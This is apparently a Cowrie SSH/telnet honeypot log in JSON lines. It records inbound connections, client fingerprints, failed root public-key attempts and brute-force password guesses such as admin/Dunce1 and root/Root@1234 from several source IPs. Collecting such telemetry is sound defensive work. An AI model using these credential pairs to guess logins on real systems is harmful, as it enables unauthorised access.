{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:c3:65:38:cc:33:19:e7:4b:7b:0c:a5:25:74:21:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh87FTm07oVSClo4gGxxI1/SpqgPboSzmRFUns40dT9mjGm+eifb2INLsg1W8qdZ/q4ctyaFpqnnnG+9gkZnAvSe70Jt+veJEIHdgjp9JcGTShQUOgYYYj3sV9t0nQzU0x5yh2PpZQ0rFsXzu+63HNmoz+O7tNoAZ0flKqDS8yJ+Vfx0dAWtb78XYstgdtwPK2RRCbCuDGaXQpbvXAze/0YNcag/c0dAu6JIK6LZF50XnIMeIKiM4A7X5xU21naM5Xg8MxigWN+WpPpNIx0cIAVkg5BQDZFt69AKebFfxTeqZQNo2NFiSWIEC6seYa7hGPbCp6D5hmeOCGJPhb2FuH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:c3:65:38:cc:33:19:e7:4b:7b:0c:a5:25:74:21:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:09.027640Z","src_ip":"199.127.60.187","session":"7013fbfcef1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:c3:65:38:cc:33:19:e7:4b:7b:0c:a5:25:74:21:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh87FTm07oVSClo4gGxxI1/SpqgPboSzmRFUns40dT9mjGm+eifb2INLsg1W8qdZ/q4ctyaFpqnnnG+9gkZnAvSe70Jt+veJEIHdgjp9JcGTShQUOgYYYj3sV9t0nQzU0x5yh2PpZQ0rFsXzu+63HNmoz+O7tNoAZ0flKqDS8yJ+Vfx0dAWtb78XYstgdtwPK2RRCbCuDGaXQpbvXAze/0YNcag/c0dAu6JIK6LZF50XnIMeIKiM4A7X5xU21naM5Xg8MxigWN+WpPpNIx0cIAVkg5BQDZFt69AKebFfxTeqZQNo2NFiSWIEC6seYa7hGPbCp6D5hmeOCGJPhb2FuH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:09.031491Z","src_ip":"199.127.60.187","session":"7013fbfcef1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:55:93:55:ed:e2:3d:06:0d:b6:e5:90:b9:bc:ac:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzYMi34krfiblCzYPTDSmPoGC4WJ0/f6u0bhN0H2AyDYxeQMOsmPs8sG0H8SpF3JhWvfH6pygX4ESpCngx9nwqqdiU68x+emU6H9KH1/RKtHhYAIeGvwsf557SxeMgV0vla/6qz8dbSXhzRHDznMuqKokaRjrNCmPXQRNY4lGOjZZqnLgDZX8/jDEu0dfoJRSvO13g8jO15Wxwuv+tDWqcs+VihtBFhLaVFLO2bPX3T7/k3n/qQFBs6nGejPJo0AReIp9it3VReI9H0PzvBMNAr7WWC9nzjKkJQMmgS7rx+ANMcyycfYVKn4ZVSU8dlpT1AhEtLH3iE4iQ3CWVWOyfPWc0v0PgzSzE0qaDASvjhCwhK1HrbS/1toD0cb61iE69uy5FEqUtk0hrHwGj9Y3hFJKtvlIzYH3AUuhqjR9rL5gziDReImo1HLHYWcHSd0hmeoeg+7Kqj86S6wru/tiSaLFxRgi7VurtnVkSPjf/jv5i7FYgDjJRQupSvfbsFV2wgWtMyARl9hyeHysVNWiQz2nMrgcyDBBANRiySe/d962o/DvtOvYBBVKylgrw+Ix4vdYpBWZzvdZD3/heTJMUIrpLpE09jBkak0iISeHYxymTpLdWEJbHIylFx1cIWFZVDfgq7B9Oa46wknkj2dxJIVXpuhCwC6VPRaFoM1hi9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:55:93:55:ed:e2:3d:06:0d:b6:e5:90:b9:bc:ac:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:09.071647Z","src_ip":"199.127.60.187","session":"7013fbfcef1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:55:93:55:ed:e2:3d:06:0d:b6:e5:90:b9:bc:ac:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzYMi34krfiblCzYPTDSmPoGC4WJ0/f6u0bhN0H2AyDYxeQMOsmPs8sG0H8SpF3JhWvfH6pygX4ESpCngx9nwqqdiU68x+emU6H9KH1/RKtHhYAIeGvwsf557SxeMgV0vla/6qz8dbSXhzRHDznMuqKokaRjrNCmPXQRNY4lGOjZZqnLgDZX8/jDEu0dfoJRSvO13g8jO15Wxwuv+tDWqcs+VihtBFhLaVFLO2bPX3T7/k3n/qQFBs6nGejPJo0AReIp9it3VReI9H0PzvBMNAr7WWC9nzjKkJQMmgS7rx+ANMcyycfYVKn4ZVSU8dlpT1AhEtLH3iE4iQ3CWVWOyfPWc0v0PgzSzE0qaDASvjhCwhK1HrbS/1toD0cb61iE69uy5FEqUtk0hrHwGj9Y3hFJKtvlIzYH3AUuhqjR9rL5gziDReImo1HLHYWcHSd0hmeoeg+7Kqj86S6wru/tiSaLFxRgi7VurtnVkSPjf/jv5i7FYgDjJRQupSvfbsFV2wgWtMyARl9hyeHysVNWiQz2nMrgcyDBBANRiySe/d962o/DvtOvYBBVKylgrw+Ix4vdYpBWZzvdZD3/heTJMUIrpLpE09jBkak0iISeHYxymTpLdWEJbHIylFx1cIWFZVDfgq7B9Oa46wknkj2dxJIVXpuhCwC6VPRaFoM1hi9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:09.074966Z","src_ip":"199.127.60.187","session":"7013fbfcef1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:65:05:80:84:06:f1:29:3b:f1:b9:7d:46:69:78:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCtyUdLx78FjSpKxalPlKNL00yBfFVPfXPUVCsRIQ44jj5T59Pc05oTyFMVr7blFLrpBTndoB3r/D4p3oBHtYUWU4f/xx6c2bOU6Tg2lcxNJof3EIKFXTsLZMrPDBxglj5EjGzPzmJ190c4HW7Is4HlvVxdp3giLuLBdPKEy0jUrAaYm+hevdZYYxFWs0U83rpfATCn/kO3rkluiD4ZjjHHIFfxfgFHRhszeQZ1XGZ2HB2zClm+Zb76ckQiMGEU2b7qHYJafmgUF5emmFQuBk851j8do3DysJ4cwmyZ+46DjpxrEzbPfLe9qcdtkUlGVFOA5i9HXPyOfplF4anY8YcbiHFqaUTZhSyy9DQa3e6xpH2FMRYGvW2w31ww0/dhRGgTktVtBRkED1aKGmY+MTvioDMBZGEBuZQdXb526ARofMHWqbpftbSY+JYc6WZh6ICavPRXdVuNWtXkuoGSrDuo9jeJ2aI4ssfr17nJ8B4vXP3xJ6v8ErJRdg4wBjd1ztIimDV2BNYWR9hn/UvSCpDW356i8JYTC/B1JvJ0QBGYZnBCzCE8/NDmHK4dUsgUV8QchdygpuH21D4dhPVG1d4kPSqfbmUkXc4UyE2bdZL0KGsEIUr7w5zSnxLmoSCtOAEWvuEctU45XZmJDyak4GqcGO9zbXvjK7trmSIQUg5Ww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:65:05:80:84:06:f1:29:3b:f1:b9:7d:46:69:78:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:09.114456Z","src_ip":"199.127.60.187","session":"7013fbfcef1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:65:05:80:84:06:f1:29:3b:f1:b9:7d:46:69:78:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCtyUdLx78FjSpKxalPlKNL00yBfFVPfXPUVCsRIQ44jj5T59Pc05oTyFMVr7blFLrpBTndoB3r/D4p3oBHtYUWU4f/xx6c2bOU6Tg2lcxNJof3EIKFXTsLZMrPDBxglj5EjGzPzmJ190c4HW7Is4HlvVxdp3giLuLBdPKEy0jUrAaYm+hevdZYYxFWs0U83rpfATCn/kO3rkluiD4ZjjHHIFfxfgFHRhszeQZ1XGZ2HB2zClm+Zb76ckQiMGEU2b7qHYJafmgUF5emmFQuBk851j8do3DysJ4cwmyZ+46DjpxrEzbPfLe9qcdtkUlGVFOA5i9HXPyOfplF4anY8YcbiHFqaUTZhSyy9DQa3e6xpH2FMRYGvW2w31ww0/dhRGgTktVtBRkED1aKGmY+MTvioDMBZGEBuZQdXb526ARofMHWqbpftbSY+JYc6WZh6ICavPRXdVuNWtXkuoGSrDuo9jeJ2aI4ssfr17nJ8B4vXP3xJ6v8ErJRdg4wBjd1ztIimDV2BNYWR9hn/UvSCpDW356i8JYTC/B1JvJ0QBGYZnBCzCE8/NDmHK4dUsgUV8QchdygpuH21D4dhPVG1d4kPSqfbmUkXc4UyE2bdZL0KGsEIUr7w5zSnxLmoSCtOAEWvuEctU45XZmJDyak4GqcGO9zbXvjK7trmSIQUg5Ww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:09.119121Z","src_ip":"199.127.60.187","session":"7013fbfcef1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:4a:ab:fd:cc:60:ad:61:90:b7:3e:fe:f0:18:16:e6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKo1HhsdBFtOKNGhkyz/bbsGndyLpfJxrLLrciNGKz9b","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 5b:4a:ab:fd:cc:60:ad:61:90:b7:3e:fe:f0:18:16:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:09.159766Z","src_ip":"199.127.60.187","session":"7013fbfcef1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:4a:ab:fd:cc:60:ad:61:90:b7:3e:fe:f0:18:16:e6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKo1HhsdBFtOKNGhkyz/bbsGndyLpfJxrLLrciNGKz9b","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:09.162382Z","src_ip":"199.127.60.187","session":"7013fbfcef1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:09.201824Z","src_ip":"199.127.60.187","session":"7013fbfcef1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:09.707578Z","src_ip":"200.39.46.41","session":"683f6d1a2fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":25489,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9e8789f0ab2","protocol":"ssh","message":"New connection: 2.57.121.112:25489 (10.17.0.5:22) [session: b9e8789f0ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:54.623274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:54.627987Z","src_ip":"2.57.121.112","session":"b9e8789f0ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:54.733933Z","src_ip":"2.57.121.112","session":"b9e8789f0ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Dunce1","message":"login attempt [admin/Dunce1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:55.236418Z","src_ip":"2.57.121.112","session":"b9e8789f0ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dumbass1","message":"login attempt [admin/dumbass1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:56.346429Z","src_ip":"2.57.121.112","session":"b9e8789f0ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"duke11","message":"login attempt [admin/duke11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:57.456022Z","src_ip":"2.57.121.112","session":"b9e8789f0ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dudelove","message":"login attempt [admin/dudelove] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:58.565528Z","src_ip":"2.57.121.112","session":"b9e8789f0ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ducky1","message":"login attempt [admin/ducky1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:59.674371Z","src_ip":"2.57.121.112","session":"b9e8789f0ab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:00.784235Z","src_ip":"2.57.121.112","session":"b9e8789f0ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.12.122","src_port":59242,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa47d9288153","protocol":"telnet","message":"New connection: 45.33.12.122:59242 (10.17.0.5:23) [session: aa47d9288153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:03.920903Z"}
{"eventid":"cowrie.session.closed","duration":1.0415232181549072,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:04.962269Z","src_ip":"45.33.12.122","session":"aa47d9288153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.252","src_port":51599,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e406eb3e979","protocol":"telnet","message":"New connection: 45.79.207.252:51599 (159.203.135.109:23) [session: 3e406eb3e979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:15.209233Z"}
{"eventid":"cowrie.session.closed","duration":1.323328971862793,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:16.532433Z","src_ip":"45.79.207.252","session":"3e406eb3e979","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":5912,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ab6e17e6f8","protocol":"ssh","message":"New connection: 2.57.121.25:5912 (10.17.0.5:22) [session: 00ab6e17e6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:17.092050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:17.096954Z","src_ip":"2.57.121.25","session":"00ab6e17e6f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:17.196643Z","src_ip":"2.57.121.25","session":"00ab6e17e6f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gooddog","message":"login attempt [user/gooddog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:17.670274Z","src_ip":"2.57.121.25","session":"00ab6e17e6f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"goldfinger","message":"login attempt [user/goldfinger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:18.772831Z","src_ip":"2.57.121.25","session":"00ab6e17e6f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"goheels","message":"login attempt [user/goheels] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:19.879269Z","src_ip":"2.57.121.25","session":"00ab6e17e6f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gogeta","message":"login attempt [user/gogeta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:20.982209Z","src_ip":"2.57.121.25","session":"00ab6e17e6f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"glenwood","message":"login attempt [user/glenwood] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:22.086256Z","src_ip":"2.57.121.25","session":"00ab6e17e6f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:23.188479Z","src_ip":"2.57.121.25","session":"00ab6e17e6f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":40140,"dst_ip":"10.17.0.5","dst_port":22,"session":"e561e4b10e51","protocol":"ssh","message":"New connection: 200.39.46.41:40140 (10.17.0.5:22) [session: e561e4b10e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:31.295998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:31.299990Z","src_ip":"200.39.46.41","session":"e561e4b10e51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:31.440775Z","src_ip":"200.39.46.41","session":"e561e4b10e51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whmapi","password":"YourPassword@6942","message":"login attempt [whmapi/YourPassword@6942] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:32.038517Z","src_ip":"200.39.46.41","session":"e561e4b10e51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:37:33.182285Z","src_ip":"200.39.46.41","session":"e561e4b10e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":56546,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba51fe011e01","protocol":"ssh","message":"New connection: 200.39.46.41:56546 (10.17.0.5:22) [session: ba51fe011e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:38:54.053674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:38:54.063041Z","src_ip":"200.39.46.41","session":"ba51fe011e01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:38:54.208422Z","src_ip":"200.39.46.41","session":"ba51fe011e01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@1234","message":"login attempt [root/Root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:38:54.819605Z","src_ip":"200.39.46.41","session":"ba51fe011e01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7702,"dst_ip":"10.17.0.5","dst_port":22,"session":"e61ecfea0a1f","protocol":"ssh","message":"New connection: 87.251.64.176:7702 (10.17.0.5:22) [session: e61ecfea0a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:38:55.790730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:38:55.795275Z","src_ip":"87.251.64.176","session":"e61ecfea0a1f","protocol":"ssh"}
